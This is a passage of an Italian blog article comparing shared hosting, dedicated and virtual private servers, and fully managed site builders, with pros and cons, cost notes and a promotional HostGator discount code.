• Limitazioni: Può esistere un limite di spazio e di traffico. Anche dove tale limite non sia esplicito, per forza di cose il provider non lascerà che il tuo sito divori tutta la capacità di elaborazione del server, quindi questa opzione non è adatta per siti ad alto traffico.
• Restrizioni: Ci possono essere delle restrizioni sui contenuti (mi riferisco ai siti per adulti)
• Performance: Se non si sceglie con attenzione, le prestazioni possono essere non ottimali. In altre parole il sito potrebbe essere lento (se il provider per guadagnare di più “stipa” migliaia di siti sullo stesso server), oppure ancora le tue mail potrebbero non arrivare a destinazione (se dallo stesso server qualche utente che usa il tuo stesso server e che ha meno scrupoli spedisce tonnellate di spam).

Un consiglio d’oro per chi usa hosting condiviso: Considerate sempre il fattore di uptime (ovvero la percentuale di tempo che il sito è attivo) che vi viene garantito: se il vostro sito sta offline per più del 99.50% (pari a circa 2 ore al mese) siete a rischio. Se Google trova il vostro sito offline spesso tutti gli sforzi fatti per promuoverlo, ottimizzarlo, saranno stati vani. Servizi come www.pingdom.com sono gratuiti e ottimi per misurare e “sgamare” i provider che promettono e non mantengono, spesso è possibile fare queste misurazioni su un sito di un conoscente che sapete usa già il provider che vorreste usare.

2 – Server dedicato e virtuale (VPS)

Questa opzione si riferisce a un server tutto per te.

Il termine “virtuale” o VPS si riferisce al fatto che alcuni provider riescono, con tecnologie ormai consolidate, a creare in un server alcune “macchine virtuali” ovvero ambienti separati ognuno con un suo sistema operativo e un suo server web, in modo che il cliente (cioè tu) abbia l’impressione di avere un server tutto per sè, cosa che sotto un certo aspetto è effettivamente vera. Per esempio, se un provider installa in un server dieci macchine virtuali darà la possibilità a dieci clienti di utilizzare ognuno una macchina (virtuale!) tutta per sè: ognuna di queste macchine (virtuali) il cliente la vedrà funzionare a circa un decimo della velocità della macchina contenitrice.

Fondamentalmente non c’è molta differenza fra server dedicato e server virtuale, se non per il costo e la velocità. ecco perchè ne parliamo come se fosse una unica soluzione. Si può dire anche che tra una buona macchina virtuale e un server dedicato di vecchia generazione ci sia poca o nessuna differenza.

Pro:

• Configurabilità: Si ha una macchina tutta per sè dunque è possibile configurare i vari servizi come si vuole. Ciò rende questa soluzione ideale per progetti che usano tecnologie particolari e con requisiti non standard.
• Limitazioni: I limiti su spazio e traffico sono più facili da superare nel caso ce ne fosse bisogno (scalabilità). Attenzione, questo ha sempre un costo in denaro che spesso non è indifferente.
• Restrizioni: In generale si hanno meno restrizioni sui contenuti (è bene sempre verificare chiedendo)
• Benefici da IP unico: Pare che Google assegni credibilità maggiore ai siti che hanno un numero IP unico (in pratica, il fatto che esista una corrispondenza un server=un sito è, per Google, indice di qualità)
• Prestazioni: In generale (attenzione, per hosting VPS può non essere sempre vero) le prestazioni sono migliori rispetto all’hosting condiviso

Contro:

• Costo: Il costo di questa soluzione è alto: solitamente da 5 a 10 volte quello di un hosting condiviso. Anche i potenziamenti sono costosi.
• Costi di gestione: Hai un server tutto per te: ciò significa anche che da quel momentote lo devi gestire tu. Caricare gli aggiornamenti, risolvere le magagne, monitorare gli accessi, verificare quando il sito si blocca e riavviare: questo è un costo che va messo in preventivo.
• Prestazioni (VPS): Le prestazioni possono non essere brillanti nei server virtuali: dal momento che anche lo spazio disco è virtuale, aumentare tale spazio ha un costo che è relativamente elevato.

Un cliente che aveva acquistato un hosting virtuale con disco da 10 GB si era reso conto poi che, mentre il sito occupava poco spazio, le proprie caselle di posta usate in modo IMAP (quindi, tutta sul server) e che contenevano tutta la corrispondenza di lavoro di vent’anni, occupavano da sole più di 25 GB. Un hosting condiviso sarebbe costato un decimo e non avrebbe avuto limitazioni di spazio.

3 – Sito pronto chiavi in mano (fully managed)

Se ci capite poco o nulla, questa è l’opzione per voi.

Questa opzione prevede che le possibilità di intervento sul server siano veramente minime (se non nulle) e si interviene direttamente sui contenuti del sito, la cui infrastruttura è già messa a disposizione dal provider.

Questa soluzione è tipica di pacchetti come Google Sites o Blogger.

Pro:

• Costo: Spesso sono gratuiti
• Semplicità di gestione / performance: Zero fatica di gestione, solitamente le performance sono ottime

Contro:

• Poca flessibilità: Non avete possiblità di configurare granché, soprattutto la tecnologia di base è già stata scelta quindi non la potete cambiare. Anche il layout si può personalizzare ma entro certi limiti.

Ritengo questa opzione veramente ottima per chi si avvicina al mondo del web e vuole apprendere e capire, prima di investire denaro in un progetto web di una certa complessità.

Prendere la decisione

Ora potete scoprire qual’è la soluzione migliore per voi consultando questo diagramma (fare clic per ingrandirlo), basta seguire le frecce corrispondenti alle risposte che avete dato alle varie domande. Troverai anche una indicazione approssimativa di spesa annua.

Per finire, alcune precisazioni importanti. Ogni opzione (hosting condiviso, dedicato, sito pronto chiavi in mano) ha in realtà due varianti.

• La opzione 3 – sito già pronto – può essere in due varianti: gratuita (già citati Google Sites, Blogger, ma ce ne sono altri) o a pagamento (molte sono le offerte sul mercato, tra cui una pubblicizzata spesso in TV)
• La opzione 1 – hosting condiviso – si distingue a seconda che ammetta o no siti multipli. Personalmente consiglio ai clienti un hosting provider americano, HostGator, che a prezzi di poco superiori ai piani hosting condivisi “nostrani”, offre supporto a siti/domini illimitati per un singolo account di tipo “baby” (costo: circa 80 euro annui) e il livello di servizio è eccellente. Se volete approfittare di un codice di sconto del 25% senza scadenza usate questo link cliccate View Web Hosting Plans e poi optate per Baby plan. Infine in fondo alla schermata in cui vi viene chiesto il nome dominio desiderato, nel campo coupon code scrivete: SITIWEBSCONTO25. Per gli hosting mono-sito posso consigliare Hosting Easy Linux di Aruba, ma lo ritengo una seconda scelta rispetto a HostGator.
• La opzione 2 – server dedicato – come visto sopra prevede sia server dedicato “vero” sia “virtuale”. Dalla flow-chart decisionale sembrerebbe che questa sia la soluzione finale che risolve tutti i problemi, ma non è così. Consiglio di pensare bene alla questione spazio disco e al fatto che, dopo avervi dato il server dedicato, sarete soli a gestirlo. Se vedeste la faccia di chi scopre una intrusione di hacker nel proprio server dedicato (e soprattutto le risposte fornite dall’assistenza) capireste cosa voglio dire. Il mio consiglio è, insomma, di utilizzare questa soluzione solo quando veramente non ne potete fare a meno. Se potete ridurre i vostri requisiti, e soprattutto scegliere di utilizzare tecnologie semplici, è sempre la cosa migliore da fare.

Per aggiungere concretezza all’argomento, vi consiglio di leggere gli articoli sempre su questo sito:

• Offerte Hosting – trucchi e consigli – Vi spiega come valutare la bontà di un hosting ed evitare di scoprire quando ormai è troppo tardi che si è puntato, per così dire, sul cavallo sbagliato.
• Hosting – Quali sono i migliori – Se volete andare dritti alla soluzione e evitare di perdere tempo, i migliori testati personalmente e recensiti, diciamo pane al pane e vino al vino